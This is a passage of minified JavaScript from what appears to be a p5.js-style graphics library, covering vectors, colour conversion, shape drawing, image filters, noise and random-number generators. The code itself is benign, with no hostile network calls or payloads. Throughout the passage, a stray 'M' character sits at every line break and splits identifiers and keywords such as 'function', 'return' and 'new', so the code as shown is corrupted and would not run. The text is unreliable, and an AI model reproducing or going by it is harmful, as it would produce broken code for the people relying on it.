t,u(),r},r.reflect=function(e){return e.normalize(),r.sub(e.mult(2*r.dot(e)))},r.array=function(){return[r.x,r.y,r.z]},r.equals=function(e,t){return null==t&&null==(t=Number.EPSILON)&&(t=0),Math.abs(e.x-r.x)<t&&Math.abs(e.y-r.y)<t&&Math.abs(e.z-r.z)<t},r.fromAngle=function(e,t){return null==t&&(t=1),a=t,i=t*t,r.x=t*Math.cos(e),r.y=t*Math.sin(e),r.z=0,r},r.fromAngles=function(e,t,n){null==n&&(n=1),a=n,i=n*n;const o=Math.cos(t),l=Math.sin(t),s=Math.cos(e),u=Math.sin(e);return r.x=n*u*l,r.y=-n*s,r.z=n*u*o,r},r.random2M
D=function(){return a=1,i=1,r.fromAngle(Math.random()*Math.PI*2)},r.random3D=function(){return a=1,i=1,r.fromAngles(Math.random()*Math.PI*2,Math.random()*Math.PI*2)},r.toString=function(){return`[${r.x}, ${r.y}, ${r.z}]`}},n.Vector.add=function(e,t){return new n.Vector(e.x+t.x,e.y+t.y,e.z+t.z)},n.Vector.rem=function(e,t){return new n.Vector(e.x%t.x,e.y%t.y,e.z%t.z)},n.Vector.sub=function(e,t){return new n.Vector(e.x-t.x,e.y-t.y,e.z-t.z)},n.Vector.mult=function(e,t){return null==t.x?new n.Vector(e.x*t,e.y*t,e.z*t):nM
ew n.Vector(e.x*t.x,e.y*t.y,e.z*t.z)},n.Vector.div=function(e,t){return null==t.x?new n.Vector(e.x/t,e.y/t,e.z/t):new n.Vector(e.x/t.x,e.y/t.y,e.z/t.z)},n.Vector.dist=function(e,t){return Math.hypot(e.x-t.x,e.y-t.y,e.z-t.z)},n.Vector.cross=function(e,t){return new n.Vector(e.y*t.z-e.z*t.y,e.z*t.x-e.x*t.z,e.x*t.y-e.y*t.x)},n.Vector.lerp=function(e,t,o){return new n.Vector(e.x*(1-o)+t.x*o,e.y=e.y*(1-o)+t.y*o,e.z=e.z*(1-o)+t.z*o)},n.Vector.equals=function(e,t,n){return e.equals(t,n)};for(let e of["fromAngle","fromAnglM
es","random2D","random3D"])n.Vector[e]=function(t,o,r){return(new n.Vector)[e](t,o,r)};function p(e,t,n){let o,r,a,i,l,s,u,c,h;if(0==t)return[255*(o=n),255*(r=n),255*(a=n)];switch((i=e)>360&&(i=0),u=n*(1-t),c=n*(1-t*(s=(i/=60)-(l=~~i))),h=n*(1-t*(1-s)),l){case 0:o=n,r=h,a=u;break;case 1:o=c,r=n,a=u;break;case 2:o=u,r=n,a=h;break;case 3:o=u,r=c,a=n;break;case 4:o=h,r=u,a=n;break;default:o=n,r=u,a=c}return[255*o,255*r,255*a]}function y(){o.fillStyle="white",o.strokeStyle="black",o.lineCap="round",o.lineJoin="miter"}fM
unction m(e){if(0<=e&&e<2*Math.PI)return e;for(;e<0;)e+=2*Math.PI;for(;e>=Math.PI;)e-=2*Math.PI;return e}function g(e,t,r,a,i,l,s,u){if(n._style.noFill&&n._style.noStroke)return;let c=m(i),h=m(l);o.beginPath();for(let i=0;i<u+1;i++){let l=i/u,s=n.lerp(c,h,l),f=Math.cos(s)*r/2,d=Math.sin(s)*a/2;o[i?"lineTo":"moveTo"](e+f,t+d)}s==n.CHORD?o.closePath():s==n.PIE&&(o.lineTo(e,t),o.closePath()),n._style.noFill||o.fill(),n._style.noStroke||o.stroke()}function v(e,t,r,a){n._style.noFill&&n._style.noStroke||(o.beginPath(),oM
.ellipse(e,t,r/2,a/2,0,0,2*Math.PI),n._style.noFill||o.fill(),n._style.noStroke||o.stroke())}function M(e,t,r,a,i,l,s,u){if(n._style.noFill&&n._style.noStroke)return;if(null==i)return function(e,t,r,a){n._style.noFill||o.fillRect(e,t,r,a),n._style.noStroke||o.strokeRect(e,t,r,a)}(e,t,r,a);if(null==l)return M(e,t,r,a,i,i,i,i);const c=Math.min(Math.abs(a),Math.abs(r))/2;i=Math.min(c,i),l=Math.min(c,l),u=Math.min(c,u),s=Math.min(c,s),o.beginPath(),o.moveTo(e+i,t),o.arcTo(e+r,t,e+r,t+a,l),o.arcTo(e+r,t+a,e,t+a,s),o.arcM
To(e,t+a,e,t,u),o.arcTo(e,t,e+r,t,i),o.closePath(),n._style.noFill||o.fill(),n._style.noStroke||o.stroke()}function _(){i=[]}n.createVector=function(e,t,o){return new n.Vector(e,t,o)},n.curvePoint=function(e,t,n,o,r){const a=r*r*r,i=r*r;return e*(-.5*a+i-.5*r)+t*(1.5*a-2.5*i+1)+n*(-1.5*a+2*i+.5*r)+o*(.5*a-.5*i)},n.bezierPoint=function(e,t,n,o,r){const a=1-r;return Math.pow(a,3)*e+3*Math.pow(a,2)*r*t+3*a*Math.pow(r,2)*n+Math.pow(r,3)*o},n.curveTangent=function(e,t,n,o,r){const a=r*r;return e*(-3*a/2+2*r-.5)+t*(9*a/2M
-5*r)+n*(-9*a/2+4*r+.5)+o*(3*a/2-r)},n.bezierTangent=function(e,t,n,o,r){const a=1-r;return 3*o*Math.pow(r,2)-3*n*Math.pow(r,2)+6*n*a*r-6*t*a*r+3*t*Math.pow(a,2)-3*e*Math.pow(a,2)},n.Color=function(e,t,n,o){let r=this;r.MAGIC=786698,r._r=e,r._g=t,r._b=n,r._a=o,r._h=0,r._s=0,r._v=0,r._hsvInferred=!1,r.setRed=function(e){r._r=e,r._hsvInferred=!1},r.setGreen=function(e){r._g=e,r._hsvInferred=!1},r.setBlue=function(e){r._b=e,r._hsvInferred=!1},r.setAlpha=function(e){r._a=e/255,r._hsvInferred=!1},r._inferHSV=function(){M
r._hsvInferred||([r._h,r._s,r._v]=function(e,t,n){let o,r,a,i,l;return o=e<t?e<n?e:n:t<n?t:n,0==(l=100*(r=e>t?e>n?e:n:t>n?t:n)/255)?[a=0,i=0,l]:0==(i=100*(r-o)/r)?[a=0,i,l]:(a=r==e?0+60*(t-n)/(r-o):r==t?120+60*(n-e)/(r-o):240+60*(e-t)/(r-o),[a,i,l])}(r._r,r._g,r._b),r._hsvInferred=!0)},r.toString=function(){return`rgba(${Math.round(r._r)},${Math.round(r._g)},${Math.round(r._b)},${~~(1e3*r._a)/1e3})`}},n.colorMode=function(e){n._style.colorMode=e},n.color=function(){if(1==arguments.length&&786698==arguments[0].MAGICM
)return arguments[0];if(n._style.colorMode==n.RGB){if(1==arguments.length)return new n.Color(arguments[0],arguments[0],arguments[0],1);if(2==arguments.length)return new n.Color(arguments[0],arguments[0],arguments[0],arguments[1]/255);if(3==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],1);if(4==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],arguments[3]/255)}else{if(1==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),1);if(2==arguments.length)retM
urn new n.Color(...p(0,0,arguments[0]/100),arguments[1]/255);if(3==arguments.length)return new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),1);if(4==arguments.length)return new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),arguments[3])}return null},n.red=function(e){return e._r},n.green=function(e){return e._g},n.blue=function(e){return e._b},n.alpha=function(e){return 255*e._a},n.hue=function(e){return e._inferHSV(),e._h},n.saturation=function(e){return e._inferHSV(),e._s},n.brightnM
ess=function(e){return e._inferHSV(),e._v},n.lightness=function(e){return 100*(.2126*e._r+.7152*e._g+.0722*e._b)/255},n.lerpColor=function(e,t,o){return n._style.colorMode==n.RGB?new n.Color(n.constrain(n.lerp(e._r,t._r,o),0,255),n.constrain(n.lerp(e._g,t._g,o),0,255),n.constrain(n.lerp(e._b,t._b,o),0,255),n.constrain(n.lerp(e._a,t._a,o),0,1)):(e._inferHSV(),t._inferHSV(),new n.Color(n.constrain(function(e,t,o){var r=[[Math.abs(t-e),n.map(o,0,1,e,t)],[Math.abs(t+360-e),n.map(o,0,1,e,t+360)],[Math.abs(t-360-e),n.mapM
(o,0,1,e,t-360)]];return r.sort(((e,t)=>e[0]-t[0])),(r[0][1]+720)%360}(e._h,t._h,o),0,360),n.constrain(n.lerp(e._s,t._s,o),0,100),n.constrain(n.lerp(e._v,t._v,o),0,100),n.constrain(n.lerp(e._a,t._a,o),0,1)))},n.strokeWeight=function(e){n._style_noStroke=!1,o.lineWidth=e},n.stroke=function(){if(n._style.noStroke=!1,"string"==typeof arguments[0])return void(o.strokeStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._style.noStroke=!0:o.strokeStyle=e},n.noStroke=function(){n._style.noStroke=!0},n.fill=fM
unction(){if(n._style.noFill=!1,"string"==typeof arguments[0])return void(o.fillStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._style.noFill=!0:o.fillStyle=e},n.noFill=function(){n._style.noFill=!0},n.blendMode=function(e){o.globalCompositeOperation=e},n.strokeCap=function(e){o.lineCap=e},n.strokeJoin=function(e){o.lineJoin=e},n.ellipseMode=function(e){n._style.ellipseMode=e},n.rectMode=function(e){n._style.rectMode=e},n.curveDetail=function(e){n._style.curveDetail=e},n.curveAlpha=function(e){n._M
style.curveAlpha=e},n.curveTightness=function(e){n._style.curveAlpha=e},n.clear=function(){o.clearRect(0,0,n.width,n.height)},n.background=function(){if(arguments[0]&&arguments[0].MAGIC==n.MAGIC)return n.image(arguments[0],0,0,n.width,n.height);o.save(),o.resetTransform(),o.scale(n._pixelDensity,n._pixelDensity),o.fillStyle="string"==typeof arguments[0]?arguments[0]:n.color(...Array.from(arguments)),o.fillRect(0,0,n.width,n.height),o.restore()},n.line=function(e,t,r,a){n._style.noStroke||(o.beginPath(),o.moveTo(e,tM
),o.lineTo(r,a),o.stroke())},n.arc=function(e,t,o,r,a,i,l,s){if(a==i)return n.ellipse(e,t,o,r);null==s&&(s=25),null==l&&(l=n.PIE),n._style.ellipseMode==n.CENTER?g(e,t,o,r,a,i,l,s):n._style.ellipseMode==n.RADIUS?g(e,t,2*o,2*r,a,i,l,s):n._style.ellipseMode==n.CORNER?g(e+o/2,t+r/2,o,r,a,i,l,s):n._style.ellipseMode==n.CORNERS&&g((e+o)/2,(t+r)/2,o-e,r-t,a,i,l,s)},n.ellipse=function(e,t,o,r){null==r&&(r=o),n._style.ellipseMode==n.CENTER?v(e,t,o,r):n._style.ellipseMode==n.RADIUS?v(e,t,2*o,2*r):n._style.ellipseMode==n.CORNM
ER?v(e+o/2,t+r/2,o,r):n._style.ellipseMode==n.CORNERS&&v((e+o)/2,(t+r)/2,o-e,r-t)},n.circle=function(e,t,o){return n.ellipse(e,t,o,o)},n.point=function(e,t){e.x&&(t=e.y,e=e.x),o.beginPath(),o.ellipse(e,t,.4,.4,0,0,2*Math.PI),o.stroke()},n.rect=function(e,t,o,r,a,i,l,s){n._style.rectMode==n.CENTER?M(e-o/2,t-r/2,o,r,a,i,l,s):n._style.rectMode==n.RADIUS?M(e-o,t-r,2*o,2*r,a,i,l,s):n._style.rectMode==n.CORNER?M(e,t,o,r,a,i,l,s):n._style.rectMode==n.CORNERS&&M(e,t,o-e,r-t,a,i,l,s)},n.square=function(e,t,o,r,a,i,l){returnM
 n.rect(e,t,o,o,r,a,i,l)},n.beginShape=function(){_(),o.beginPath(),a=!0},n.beginContour=function(){o.closePath(),_(),a=!0},n.endContour=function(){_(),a=!0},n.vertex=function(e,t){_(),a?o.moveTo(e,t):o.lineTo(e,t),a=!1},n.bezierVertex=function(e,t,n,r,a,i){_(),o.bezierCurveTo(e,t,n,r,a,i)},n.quadraticVertex=function(e,t,n,r){_(),o.quadraticCurveTo(e,t,n,r)},n.bezier=function(e,t,o,r,a,i,l,s){n.beginShape(),n.vertex(e,t),n.bezierVertex(o,r,a,i,l,s),n.endShape()},n.triangle=function(e,t,o,r,a,i){n.beginShape(),n.verM
tex(e,t),n.vertex(o,r),n.vertex(a,i),n.endShape(n.CLOSE)},n.quad=function(e,t,o,r,a,i,l,s){n.beginShape(),n.vertex(e,t),n.vertex(o,r),n.vertex(a,i),n.vertex(l,s),n.endShape(n.CLOSE)},n.endShape=function(e){_(),e&&o.closePath(),n._style.noFill||o.fill(),n._style.noStroke||o.stroke(),n._style.noFill&&n._style.noStroke&&(o.save(),o.fillStyle="none",o.fill(),o.restore())},n.curveVertex=function(e,t){if(i.push([e,t]),i.length<4)return;let r=function(e,t,n,o,r,a,i,l,s,u){function c(e,t,n,o,r,a){let i=Math.pow(o-t,2)+MathM
.pow(r-n,2);return Math.pow(i,.5*a)+e}let h=[],f=c(0,e,t,n,o,u),d=c(f,n,o,r,a,u),p=c(d,r,a,i,l,u);for(let u=0;u<s;u++){let c=f+u/(s-1)*(d-f),y=[(f-c)/(f-0),(c-0)/(f-0),(d-c)/(d-f),(c-f)/(d-f),(p-c)/(p-d),(c-d)/(p-d),(d-c)/(d-0),(c-0)/(d-0),(p-c)/(p-f),(c-f)/(p-f)];for(let e=0;e<y.length;e+=2)isNaN(y[e])&&(y[e]=1,y[e+1]=0),isFinite(y[e])||(y[e]>0?(y[e]=1,y[e+1]=0):(y[e]=0,y[e+1]=1));let m=e*y[0]+n*y[1],g=t*y[0]+o*y[1],v=n*y[2]+r*y[3],M=o*y[2]+a*y[3],_=r*y[4]+i*y[5],x=a*y[4]+l*y[5],w=m*y[6]+v*y[7],R=g*y[6]+M*y[7],I=vM
*y[8]+_*y[9],C=M*y[8]+x*y[9],S=w*y[2]+I*y[3],E=R*y[2]+C*y[3];h.push([S,E])}return h}(...i[i.length-4],...i[i.length-3],...i[i.length-2],...i[i.length-1],n._style.curveDetail,n._style.curveAlpha);for(let e=0;e<r.length;e++)a?o.moveTo(...r[e]):o.lineTo(...r[e]),a=!1},n.curve=function(e,t,o,r,a,i,l,s){n.beginShape(),n.curveVertex(e,t),n.curveVertex(o,r),n.curveVertex(a,i),n.curveVertex(l,s),n.endShape()},n.translate=function(e,t){o.translate(e,t)},n.rotate=function(e){o.rotate(e)},n.scale=function(e,t){null==t&&(t=e),M
o.scale(e,t)},n.applyMatrix=function(e,t,n,r,a,i){o.transform(e,t,n,r,a,i)},n.shearX=function(e){o.transform(1,0,Math.tan(e),1,0,0)},n.shearY=function(e){o.transform(1,Math.tan(e),0,1,0,0)},n.resetMatrix=function(){o.resetTransform(),o.scale(n._pixelDensity,n._pixelDensity)},n.pushMatrix=n.push=function(){n._styleCache.push({...n._style}),n._style=n._styleCache[n._styleCache.length-1],o.save()},n.popMatrix=n.pop=function(){n._styleCache.length-1&&(n._styleCache.pop(),n._style=n._styleCache[n._styleCache.length-1],oM
.restore())},n.image=function(e,t,r,a,i,l,s,u,c){let h=e.MAGIC==n.MAGIC?e.canvas:e;function d(){if(e.MAGIC!=n.MAGIC||!n._tint)return;let t=e.canvas.getContext("2d");t.save(),t.resetTransform(),t.clearRect(0,0,t.canvas.width,t.canvas.height),t.drawImage(f.canvas,0,0),t.restore()}return e.MAGIC==n.MAGIC&&null!=n._tint&&(function(e,t){null==f&&(f=document.createElement("canvas").getContext("2d")),null==e&&(e=o.canvas.width,t=o.canvas.height),f.canvas.width==e&&f.canvas.height==t||(f.canvas.width=e,f.canvas.height=t)}(M
e.canvas.width,e.canvas.height),f.drawImage(e.canvas,0,0),e.tinted(n._tint)),a?l?(u||(u=h.width),c||(c=h.height),o.drawImage(h,l,s,u,c,t,r,a,i),void d()):(o.drawImage(h,t,r,a,i),void d()):(e.MAGIC==n.MAGIC||e.width?o.drawImage(h,t,r,e.width,e.height):o.drawImage(h,t,r,e.videoWidth,e.videoHeight),void d())},n.loadPixels=function(){l=o.getImageData(0,0,n.canvas.width,n.canvas.height),n.pixels=l.data},n.updatePixels=function(){null!=l&&o.putImageData(l,0,0)},n.loadImage=function(e,t){s++;let o=n.createGraphics(100,100M
),r=o.canvas.getContext("2d"),a=new Image;return a.src=e,a.crossOrigin="Anonymous",a.onload=function(){r.canvas.width=a.width,r.canvas.height=a.height,o.width=a.width,o.height=a.height,r.drawImage(a,0,0),s--,t&&t(o)},o};let x={};function w(e,t){null==h&&(h=document.createElement("canvas").getContext("2d")),null==e&&(e=o.canvas.width,t=o.canvas.height),h.canvas.width==e&&h.canvas.height==t||(h.canvas.width=e,h.canvas.height=t)}function R(){let e=o.canvas.width*o.canvas.height*4;null!=d&&e==d.length||(d=new Uint8ClamM
pedArray(e))}function I(e){h.clearRect(0,0,h.canvas.width,h.canvas.height),h.filter=e,h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0),o.restore()}x[n.THRESHOLD]=function(e,t){null==t?t=127.5:t*=255;for(let n=0;n<e.length;n+=4){const o=.2126*e[n]+.7152*e[n+1]+.0722*e[n+2];e[n]=e[n+1]=e[n+2]=o>=t?255:0}},x[n.GRAY]=function(e){for(let t=0;t<e.length;t+=4){const n=.2126*e[t]+.7152*e[t+1]+.0722*e[t+2];e[t]=e[t+1]=e[t+2]=n}},x[n.OPAQUE]=functM
ion(e){for(let t=0;t<e.length;t+=4)e[t+3]=255},x[n.INVERT]=function(e){for(let t=0;t<e.length;t+=4)e[t]=255-e[t],e[t+1]=255-e[t+1],e[t+2]=255-e[t+2]},x[n.POSTERIZE]=function(e,t){let n=t-1;for(let o=0;o<e.length;o+=4)e[o]=255*(e[o]*t>>8)/n,e[o+1]=255*(e[o+1]*t>>8)/n,e[o+2]=255*(e[o+2]*t>>8)/n},x[n.DILATE]=function(e){R(),d.set(e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let r=0;r<t;r++){let a=4*Math.max(r-1,0),i=4*Math.min(r+1,t-1),l=4*Math.max(o-1,0)*t,s=4*Math.min(o+1,n-1)*t,u=4*o*t,c=4*rM
;for(let t=0;t<4;t++){let n=t+l,o=t+s,r=t+u;e[u+c+t]=Math.max(d[n+c],d[r+a],d[r+c],d[r+i],d[o+c])}}},x[n.ERODE]=function(e){R(),d.set(e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let r=0;r<t;r++){let a=4*Math.max(r-1,0),i=4*Math.min(r+1,t-1),l=4*Math.max(o-1,0)*t,s=4*Math.min(o+1,n-1)*t,u=4*o*t,c=4*r;for(let t=0;t<4;t++){let n=t+l,o=t+s,r=t+u;e[u+c+t]=Math.min(d[n+c],d[r+a],d[r+c],d[r+i],d[o+c])}}},x[n.BLUR]=function(e,t){t=t||1,t=Math.floor(t*n._pixelDensity),R(),d.set(e);let r=2*t+1,a=funcM
tion(e){let n=new Float32Array(e),o=.3*t+.8,r=o*o*2;for(let t=0;t<e;t++){let a=t-e/2,i=Math.exp(-a*a/r)/(2.5066282746*o);n[t]=i}return n}(r),[i,l]=[o.canvas.width,o.canvas.height];for(let n=0;n<l;n++)for(let o=0;o<i;o++){let l=0,s=0,u=0,c=0;for(let e=0;e<r;e++){let r=4*(n*i+Math.min(Math.max(o-t+e,0),i-1));l+=d[r]*a[e],s+=d[r+1]*a[e],u+=d[r+2]*a[e],c+=d[r+3]*a[e]}let h=4*(n*i+o);e[h]=l,e[h+1]=s,e[h+2]=u,e[h+3]=c}d.set(e);for(let n=0;n<l;n++)for(let o=0;o<i;o++){let s=0,u=0,c=0,h=0;for(let e=0;e<r;e++){let r=4*(MathM
.min(Math.max(n-t+e,0),l-1)*i+o);s+=d[r]*a[e],u+=d[r+1]*a[e],c+=d[r+2]*a[e],h+=d[r+3]*a[e]}let f=4*(n*i+o);e[f]=s,e[f+1]=u,e[f+2]=c,e[f+3]=h}},n.filter=function(e,t){if(n.HARDWARE_FILTERS&&null!=o.filter)if(w(),e==n.THRESHOLD){null==t&&(t=.5),t=Math.max(t,1e-5),I(`saturate(0%) brightness(${Math.floor(.5/t*100)}%) contrast(1000000%)`)}else if(e==n.GRAY)I("saturate(0%)");else if(e==n.OPAQUE)h.fillStyle="black",h.fillRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.drawIM
mage(h.canvas,0,0),o.restore();else if(e==n.INVERT)I("invert(100%)");else if(e==n.BLUR)I(`blur(${Math.ceil(t*n._pixelDensity/1)||1}px)`);else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);x[e](n.data,t),o.putImageData(n,0,0)}else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);x[e](n.data,t),o.putImageData(n,0,0)}},n.resize=function(e,t){w(),h.drawImage(o.canvas,0,0),n.width=e,n.height=t,o.canvas.width=e*n._pixelDensity,o.canvas.height=t*n._pixelDensity,o.save(),o.resetTransform(),o.clearRect(0,M
0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0,o.canvas.width,o.canvas.height),o.restore()},n.get=function(e,t,r,a){if(null!=e&&null==r){let r=o.getImageData(e,t,1,1).data;return new n.Color(r[0],r[1],r[2],r[3]/255)}e=e||0,t=t||0,r=r||n.width,a=a||n.height;let i=n.createGraphics(r,a);i.pixelDensity(n._pixelDensity);let l=o.getImageData(e*n._pixelDensity,t*n._pixelDensity,r*n._pixelDensity,a*n._pixelDensity);return i.canvas.getContext("2d").putImageData(l,0,0),i},n.set=function(e,t,r){if(r.MAGIC==n.MAGICM
){let o=n._tint;return n._tint=null,n.image(r,e,t),void(n._tint=o)}let a=4*(t*n._pixelDensity*o.canvas.width+e*n._pixelDensity);n.pixels[a]=r._r,n.pixels[a+1]=r._g,n.pixels[a+2]=r._b,n.pixels[a+3]=255*r._a},n.tinted=function(){let e=n.color(...Array.from(arguments)),t=e._a;e._a=1,w(),h.clearRect(0,0,h.canvas.width,h.canvas.height),h.fillStyle=e,h.fillRect(0,0,h.canvas.width,h.canvas.height),h.globalCompositeOperation="multiply",h.drawImage(o.canvas,0,0),h.globalCompositeOperation="source-over",o.save(),o.resetTransM
form();let r=o.globalCompositeOperation;o.globalCompositeOperation="source-in",o.drawImage(h.canvas,0,0),o.globalCompositeOperation=r,o.restore(),h.globalAlpha=t,h.clearRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),h.globalAlpha=1,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0),o.restore()},n.tint=function(){n._tint=n.color(...Array.from(arguments))},n.noTint=function(){n._tint=null},n.mask=function(e){o.save(),o.resetTransform();let t=o.gloM
balCompositeOperation;o.globalCompositeOperation="destination-in",o.drawImage(e.canvas,0,0),o.globalCompositeOperation=t,o.restore()},n.clearTemporaryBuffers=function(){h=null,f=null,d=null},n.save=function(e,t){e=e||"untitled",t=t||"png";var n=document.createElement("a");n.innerHTML="[Download]",n.addEventListener("click",(function(){this.href=o.canvas.toDataURL(),this.download=e+"."+t}),!1),document.body.appendChild(n),n.click(),document.body.removeChild(n)},n.saveCanvas=function(e,t,o){if(e.MAGIC==n.MAGIC){o&&e.M
save(t,o);let n=t.split(".");return e.save(n.slice(0,-1).join("."),n[n.length-1])}if(t)return n.save(e,t);let r=e.split(".");return n.save(r.slice(0,-1).join("."),r[r.length-1])},n.loadFont=function(e,t){let n=e.split("/"),o=n[n.length-1].split(".")[0].replace(" ",""),r=`@font-face {\n        font-family: '${o}';\n        src: url('${e}');\n      }`;const a=document.createElement("style");return a.textContent=r,document.head.append(a),o},n.textFont=function(e){n._style.textFont=e},n.textSize=function(e){n._style.teM
xtSize=e,n._style.textLeading=e},n.textLeading=function(e){n._style.textLeading=e},n.textStyle=function(e){n._style.textStyle=e},n.textAlign=function(e,t){o.textAlign=e,t&&(o.textBaseline=t==n.CENTER?"middle":t)},n.text=function(e,t,r,a){if(!e)return;if(e=e.toString(),n._style.noFill&&n._style.noStroke)return;o.font=`${n._style.textStyle} ${n._style.textSize}px ${n._style.textFont}`;let i=e.split("\n");for(let e=0;e<i.length;e++)n._style.noFill||o.fillText(i[e],t,r,a),n._style.noStroke||o.strokeText(i[e],t,r,a),r+=M
n._style.textLeading},n.textWidth=function(e){return o.font=`${n._style.textStyle} ${n._style.textSize}px ${n._style.textFont}`,o.measureText(e).width},n.textAscent=function(e){return o.font=`${n._style.textStyle} ${n._style.textSize}px ${n._style.textFont}`,o.measureText(e).actualBoundingBoxAscent},n.textDescent=function(e){return o.font=`${n._style.textStyle} ${n._style.textSize}px ${n._style.textFont}`,o.measureText(e).actualBoundingBoxDescent};var C,S=4,E=.5,A=function(e){return.5*(1-Math.cos(e*Math.PI))};n.noiM
se=function(e,t,n){if(t=t||0,n=n||0,null==C){C=new Array(4096);for(var o=0;o<4096;o++)C[o]=Math.random()}e<0&&(e=-e),t<0&&(t=-t),n<0&&(n=-n);for(var r,a,i,l,s,u=Math.floor(e),c=Math.floor(t),h=Math.floor(n),f=e-u,d=t-c,p=n-h,y=0,m=.5,g=0;g<S;g++){var v=u+(c<<4)+(h<<8);r=A(f),a=A(d),i=C[4095&v],i+=r*(C[v+1&4095]-i),l=C[v+16&4095],i+=a*((l+=r*(C[v+16+1&4095]-l))-i),l=C[4095&(v+=256)],l+=r*(C[v+1&4095]-l),s=C[v+16&4095],l+=a*((s+=r*(C[v+16+1&4095]-s))-l),y+=(i+=A(p)*(l-i))*m,m*=E,u<<=1,c<<=1,h<<=1,(f*=2)>=1&&(u++,f--)M
,(d*=2)>=1&&(c++,d--),(p*=2)>=1&&(h++,p--)}return y},n.noiseDetail=function(e,t){e>0&&(S=e),t>0&&(E=t)};const b=function(){let e,t,n=4294967295;return{setSeed(o){e=t=(null==o?Math.random()*n:o)>>>0},getSeed:()=>t,rand:()=>(e^=e<<17,e^=e>>13,((e^=e<<5)>>>0)/n)}};let T=b();T.setSeed(),n.noiseSeed=function(e){let t=null==e?4294967295*Math.random():e;C||(C=new Float32Array(4096));for(var n=0;n<4096;n++)t^=t<<17,t^=t>>13,t^=t<<5,C[n]=(t>>>0)/4294967295},n.randomSeed=function(e){T.setSeed(e)},n.random=function(e,t){returM
n null==e?T.rand():"number"==typeof e?null!=t?T.rand()*(t-e)+e:T.rand()*e:e[~~(e.length*T.rand())]},n.randomGenerator=function(e){e==n.LCG?T=function(){const e=4294967296;let t,n;return{setSeed(o){n=t=(null==o?Math.random()*e:o)>>>0},getSeed:()=>t,rand:()=>(n=(1664525*n+1013904223)%e)/e}}():e==n.SHR3&&(T=b()),T.setSeed()};var P=new function(){var e,t,n,o=new Array(128),r=new Array(256),a=new Array(128),i=new Array(128),l=new Array(256),s=new Array(256),u=function(){return 4294967296*T.rand()-2147483648},c=function(M
){return.5+2.328306e-10*(u()<<0)};this.SHR3=u,this.UNI=c,this.RNOR=function(){return n=u(),e=127&n,Math.abs(n)<o[e]?n*a[e]:function(){for(var t,r,l,s,h=3.44262;;){if(t=n*a[e],0==e){do{l=c(),s=c(),t=.2904764*-Math.log(l),r=-Math.log(s)}while(r+r<t*t);return n>0?h+t:-h-t}if(i[e]+c()*(i[e-1]-i[e])<Math.exp(-.5*t*t))return t;if(n=u(),e=127&n,Math.abs(n)<o[e])return n*a[e]}}()},this.REXP=function(){return(t=u()>>>0)<o[e=255&t]?t*l[e]:function(){for(var n;;){if(0==e)return 7.69711-Math.log(c());if(n=t*l[e],s[e]+c()*(s[e-M
1]-s[e])<Math.exp(-n))return n;if((t=u())<r[e=255&t])return t*l[e]}}()},this.zigset=function(){var e,t,n=2147483648,u=4294967296,c=3.442619855899,h=c,f=.00991256303526217,d=7.697117470131487,p=d,y=.003949659822581572;for(e=f/Math.exp(-.5*c*c),o[0]=Math.floor(c/e*n),o[1]=0,a[0]=e/n,a[127]=c/n,i[0]=1,i[127]=Math.exp(-.5*c*c),t=126;t>=1;t--)c=Math.sqrt(-2*Math.log(f/c+Math.exp(-.5*c*c))),o[t+1]=Math.floor(c/h*n),h=c,i[t]=Math.exp(-.5*c*c),a[t]=c/n;for(e=y/Math.exp(-d),r[0]=Math.floor(d/e*u),r[1]=0,l[0]=e/u,l[255]=d/u,M
s[0]=1,s[255]=Math.exp(-d),t=254;t>=1;t--)d=-Math.log(y/d+Math.exp(-d)),r[t+1]=Math.floor(d/p*u),p=d,s[t]=Math.exp(-d),l[t]=d/u}};P.hasInit=!1,n.randomGaussian=function(e,t){return P.hasInit||(P.zigset(),P.hasInit=!0),P.RNOR()*t+e},n.randomExponential=function(){return P.hasInit||(P.zigset(),P.hasInit=!0),P.REXP()},n.print=console.log,n.cursor=function(e,t,o){let r="";e.includes(".")&&(e=`url("${e}")`,r=", auto"),null!=t&&(e+=" "+t+" "+o),n.canvas.style.cursor=e+r},n.noCursor=function(){n.canvas.style.cursor="none"M
},n.createCapture=function(e){var t=document.createElement("video");return t.playsinline="playsinline",t.autoplay="autoplay",navigator.mediaDevices.getUserMedia(e).then((function(e){t.srcObject=e})),t.style.position="absolute",t.style.opacity=1e-5,t.style.zIndex=-1e3,document.body.appendChild(t),t};let D=["setup","draw","preload","mouseMoved","mousePressed","mouseReleased","mouseDragged","mouseClicked","keyPressed","keyReleased","keyTyped","touchStarted","touchEnded"];for(let e of D){let t="_"+e+"Fn";n[t]=function(M
){},n[t].isPlaceHolder=!0,n[e]?n[t]=n[e]:Object.defineProperty(n,e,{set:function(e){n[t]=e}})}function z(){n._noLoop||(r=null==n._frameRate?requestAnimationFrame(z):setTimeout(z,1e3/n._frameRate)),_(),a=!0,n.push(),n._drawFn(),n.pop(),++n.frameCount}function k(e){const t=n.canvas.getBoundingClientRect(),o=n.canvas.scrollWidth/n.width||1,r=n.canvas.scrollHeight/n.height||1;return{x:(e.clientX-t.left)/o,y:(e.clientY-t.top)/r,id:e.identifier}}function O(){return n._touchStarted.isPlaceHolder&&n._touchMoved.isPlaceHoldM
